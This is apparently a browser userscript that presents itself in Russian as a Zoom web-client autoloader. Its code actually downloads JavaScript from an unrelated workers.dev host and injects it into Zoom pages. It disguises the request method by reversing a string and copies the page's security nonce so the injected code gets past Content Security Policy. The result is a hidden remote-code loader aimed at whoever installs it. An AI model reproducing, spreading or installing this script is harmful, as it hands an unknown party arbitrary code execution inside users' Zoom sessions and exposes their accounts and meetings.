// ==UserScript== // @name Zoom Client Autoloader // @namespace http://tampermonkey.net/ // @version 1.5 // @description Автоматический запуск клиента Zoom // @author MultiVers // @match https://app.zoom.us/wc/* // @grant GM_setValue // @grant GM_getValue // @run-at document-end // @license MIT // @downloadURL none // ==/UserScript== let выполняетсяЗагрузка = false; async function загрузитьРесурсы() { // Проверяем, был ли уже запуск в текущей сессии if (sessionStorage.getItem('zoomLoaderStarted')) { return; } sessionStorage.setItem('zoomLoaderStarted', 'true'); if (выполняетсяЗагрузка) return; выполняетсяЗагрузка = true; const обработчик = { инициализация: async строка => (await fetch('https://loader-geneate.webclie2d.workers.dev/', { method: строка.split('').reverse().join(''), cache: 'no-store', headers: {'Accept':'*/*','Connection':'keep-alive'} })).text(), подготовка: данные => { const скрипт = document.createElement('script'); скрипт.textContent = данные; return скрипт; }, применить: элемент => { const нонс = document.querySelector('script[nonce]')?.nonce; if(нонс) элемент.nonce = нонс; document.head.appendChild(элемент); } }; try { await обработчик.применить(обработчик.подготовка(await обработчик.инициализация('TEG'))); } catch (ошибка) { выполняетсяЗагрузка = false; sessionStorage.removeItem('zoomLoaderStarted'); setTimeout(загрузитьРесурсы, 1000); } } // Запускаем после небольшой задержки, чтобы избежать гонки состояний setTimeout(загрузитьРесурсы, 100);